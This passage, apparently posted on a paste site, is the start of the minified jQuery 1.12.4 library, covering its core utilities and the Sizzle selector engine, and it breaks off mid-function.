· 9 years ago · Jun 18, 2017, 09:28 PM
1/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */
2!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="1.12.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(e.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:g,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){var b=a&&a.toString();return!n.isArray(a)&&b-parseFloat(b)+1>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a))return!1;try{if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(!l.ownFirst)for(b in a)return k.call(a,b);for(b in a);return void 0===b||k.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?i[j.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(s(a)){for(c=a.length;c>d;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):g.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(h)return h.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,g=0,h=[];if(s(a))for(d=a.length;d>g;g++)e=b(a[g],g,c),null!=e&&h.push(e);else for(g in a)e=b(a[g],g,c),null!=e&&h.push(e);return f.apply([],h)},guid:1,proxy:function(a,b){var c,d,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=e.call(arguments,2),d=function(){return a.apply(b||this,c.concat(e.call(arguments)))},d.guid=a.guid=a.guid||n.guid++,d):void 0},now:function(){return+new Date},support:l}),"function"==typeof Symbol&&(n.fn[Symbol.iterator]=c[Symbol.iterator]),n.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){i["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=!!a&&"length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ga(),z=ga(),A=ga(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+M+"))|)"+L+"*\\]",O=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+N+")*)|.*)\\)|)",P=new RegExp(L+"+","g"),Q=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),R=new RegExp("^"+L+"*,"+L+"*"),S=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),T=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),U=new RegExp(O),V=new RegExp("^"+M+"$"),W={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M+"|[*])"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},X=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Z=/^[^{]+\{\s*\[native \w/,$=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,_=/[+~]/,aa=/'|\\/g,ba=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),ca=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},da=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(ea){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fa(a,b,d,e){var f,h,j,k,l,o,r,s,w=b&&b.ownerDocument,x=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==x&&9!==x&&11!==x)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==x&&(o=$.exec(a)))if(f=o[1]){if(9===x){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(w&&(j=w.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(o[2])return H.apply(d,b.getElementsByTagName(a)),d;if((f=o[3])&&c.getElementsByClassName&&b.getElementsByClassName)return H.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==x)w=b,s=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(aa,"\\$&"):b.setAttribute("id",k=u),r=g(a),h=r.length,l=V.test(k)?"#"+k:"[id='"+k+"']";while(h--)r[h]=l+" "+qa(r[h]);s=r.join(","),w=_.test(a)&&oa(b.parentNode)||b}if(s)try{return H.apply(d,w.querySelectorAll(s)),d}catch(y){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(Q,"$1"),b,d,e)}function ga(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ha(a){return a[u]=!0,a}function ia(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ja(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function ka(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function la(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function na(a){return ha(function(b){return b=+b,ha(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function oa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=fa.support={},f=fa.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fa.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ia(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ia(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Z.test(n.getElementsByClassName),c.getById=ia(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ba,ca);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return"undefined"!=typeof b.getElementsByClassName&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=Z.test(n.querySelectorAll))&&(ia(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ia(function(a){var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Z.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ia(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",O)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Z.test(o.compareDocumentPosition),t=b||Z.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return ka(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?ka(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},fa.matches=function(a,b){return fa(a,null,null,b)},fa.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(T,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fa(b,n,null,[a]).length>0},fa.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fa.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fa.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fa.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fa.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fa.selectors={cacheLength:50,createPseudo:ha,match:W,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ba,ca),a[3]=(a[3]||a[4]||a[5]||"").replace(ba,ca),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fa.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fa.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return W.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&U.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ba,ca).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fa.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(P," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fa.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ha(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ha(function(a){var b=[],c=[],d=h(a.replace(Q,"$1"));return d[u]?ha(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ha(function(a){return function(b){return fa(a,b).length>0}}),contains:ha(function(a){return a=a.replace(ba,ca),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ha(function(a){return V.test(a||"")||fa.error("unsupported lang: "+a),a=a.replace(ba,ca).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Y.test(a.nodeName)},input:function(a){return X.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:na(function(){return[0]}),last:na(function(a,b){return[b-1]}),eq:na(function(a,b,c){return[0>c?c+b:c]}),even:na(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:na(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:na(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:na(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=la(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=ma(b);function pa(){}pa.prototype=d.filters=d.pseudos,d.setFilters=new pa,g=fa.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=R.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=S.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(Q," ")}),h=h.slice(c.length));for(g in d.filter)!(e=W[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fa.error(a):z(a,i).slice(0)};function qa(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function ra(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j,k=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(j=b[u]||(b[u]={}),i=j[b.uniqueID]||(j[b.uniqueID]={}),(h=i[d])&&h[0]===w&&h[1]===f)return k[2]=h[2];if(i[d]=k,k[2]=a(b,c,g))return!0}}}function sa(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ta(a,b,c){for(var d=0,e=b.length;e>d;d++)fa(a,b[d],c);return c}function ua(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function va(a,b,c,d,e,f){return d&&!d[u]&&(d=va(d)),e&&!e[u]&&(e=va(e,f)),ha(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ta(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ua(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ua(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ua(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function wa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ra(function(a){return a===b},h,!0),l=ra(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[ra(sa(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return va(i>1&&sa(m),i>1&&qa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(Q,"$1"),c,e>i&&wa(a.slice(i,e)),f>e&&wa(a=a.slice(e)),f>e&&qa(a))}m.push(c)}return sa(m)}function xa(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=F.call(i));u=ua(u)}H.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&fa.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ha(f):f}return h=fa.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xa(e,d)),f.selector=a}return f},i=fa.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ba,ca),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=W.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ba,ca),_.test(j[0].type)&&oa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qa(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||_.test(a)&&oa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ia(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ia(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ja("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ia(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ja("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ia(function(a){return null==a.getAttribute("disabled")})||ja(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fa}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.uniqueSort=n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},v=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},w=n.expr.match.needsContext,x=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,y=/^.[^:#\[\.,]*$/;function z(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(y.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>-1!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(z(this,a||[],!1))},not:function(a){return this.pushStack(z(this,a||[],!0))},is:function(a){return!!z(this,"string"==typeof a&&w.test(a)?n(a):a||[],!1).length}});var A,B=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=n.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||A,"string"==typeof a){if(e="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:B.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),x.test(e[1])&&n.isPlainObject(b))for(e in b)n.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}if(f=d.getElementById(e[2]),f&&f.parentNode){if(f.id!==e[2])return A.find(a);this.length=1,this[0]=f}return this.context=d,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof c.ready?c.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};C.prototype=n.fn,A=n(d);var D=/^(?:parents|prev(?:Until|All))/,E={children:!0,contents:!0,next:!0,prev:!0};n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return 